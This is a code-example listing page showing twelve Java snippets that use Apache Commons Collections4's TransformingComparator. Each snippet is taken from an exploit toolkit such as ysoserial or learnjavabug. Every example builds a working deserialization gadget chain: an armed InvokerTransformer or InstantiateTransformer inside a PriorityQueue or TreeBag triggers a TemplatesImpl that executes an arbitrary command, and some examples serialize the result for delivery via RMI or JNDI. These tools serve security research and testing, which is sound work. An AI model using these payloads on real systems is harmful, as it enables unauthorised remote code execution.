org.apache.commons.collections4.comparators.TransformingComparator Java Examples

The following examples show how to use org.apache.commons.collections4.comparators.TransformingComparator. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: AttackDemo.java    From learnjavabug with MIT License 6 votes vote down vote up 
private static Object makeGadget() throws Exception {
  Object templates = TemplatesUtil.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

  // setup harmless chain
  final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

  // define the comparator used for sorting
  TransformingComparator comp = new TransformingComparator(transformer);

  // prepare CommonsCollections object entry point
  TreeBag tree = new TreeBag(comp);
  tree.add(templates);

  // arm transformer
  Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
  return tree;
}
Example #2
Source File: CommonCollections4.java    From learnjavabug with MIT License 6 votes vote down vote up 
public static Object getPayload() throws Exception {
  Object templates = Gadgets.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

  // setup harmless chain
  final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

  // define the comparator used for sorting
  TransformingComparator comp = new TransformingComparator(transformer);

  // prepare CommonsCollections object entry point
  TreeBag tree = new TreeBag(comp);
  tree.add(templates);

  // arm transformer
  Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

  return tree;
}
Example #3
Source File: CommonCollections4.java    From learnjavabug with MIT License 6 votes vote down vote up 
public static Object getPayload() throws Exception {
  Object templates = Gadgets.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

  // setup harmless chain
  final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

  // define the comparator used for sorting
  TransformingComparator comp = new TransformingComparator(transformer);

  // prepare CommonsCollections object entry point
  TreeBag tree = new TreeBag(comp);
  tree.add(templates);

  // arm transformer
  Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

  return tree;
}
Example #4
Source File: JndiLookupForGtJdk8u191.java    From learnjavabug with MIT License 6 votes vote down vote up 
private static byte[] makePayload(String[] args) throws Exception {
  final Object templates = Gadgets.createTemplatesImpl(args[0]);
  // mock method name until armed
  final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

  // create queue with numbers and basic comparator
  final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
  // stub data for replacement later
  queue.add(1);
  queue.add(1);

  // switch method called by comparator
  Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

  // switch contents of queue
  final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
  queueArray[0] = templates;
  queueArray[1] = 1;

  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  objectOutputStream.writeObject(queue);
  objectOutputStream.close();
  return byteArrayOutputStream.toByteArray();

}
Example #5
Source File: AttackRMIRegistry.java    From learnjavabug with MIT License 6 votes vote down vote up 
private static Object makePayload(String[] args) throws Exception {
  final Object templates = Gadgets.createTemplatesImpl(args[0]);
  // mock method name until armed
  final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

  // create queue with numbers and basic comparator
  final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
  // stub data for replacement later
  queue.add(1);
  queue.add(1);

  // switch method called by comparator
  Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

  // switch contents of queue
  final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
  queueArray[0] = templates;
  queueArray[1] = 1;
  return queue;
}
Example #6
Source File: CommonsCollections2.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
    
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
Example #7
Source File: CommonsCollections2.java    From JavaSerialKiller with MIT License 6 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
Example #8
Source File: CommonsCollections2.java    From ysoserial with MIT License 6 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
Example #9
Source File: CommonsCollections4.java    From ysoserial-modified with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
Example #10
Source File: CommonsCollections4.java    From JavaSerialKiller with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
Example #11
Source File: RCE.java    From JavaSCR with MIT License 5 votes vote down vote up 
/**
 * Creates a Remote Command Execution Exploit based on Apache Commons Collections4 4.0
 *
 * @return a byte array containing the serialized queue
 */
private static byte[] RCEpayload() throws Exception {

  Object templates = Gadgets.createTemplatesImpl("Calc.exe");
  // Object templates = Gadgets.createTemplatesImpl("write .gitignore"); 

  ConstantTransformer<Object, Class<String>> constant = new ConstantTransformer<>(String.class);

  // mock method name until armed
  Class<?>[] paramTypes = new Class[] { String.class };
  Object[] args = new Object[] { "foo" };
  InstantiateTransformer<?> instantiate = new InstantiateTransformer<>(paramTypes, args);

  // grab defensively copied arrays
  paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
  args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

  @SuppressWarnings("unchecked")
  Transformer<Object, Object> chain = new ChainedTransformer<Object>(new Transformer[] { constant, instantiate });

  // create queue with numbers
  PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator<>(chain));
  queue.add(1);
  queue.add(1);

  // swap in values to arm
  Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
  paramTypes[0] = Templates.class;
  args[0] = templates;

  return serialize(queue);
}
Example #12
Source File: CommonsCollections4.java    From ysoserial with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	Object templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}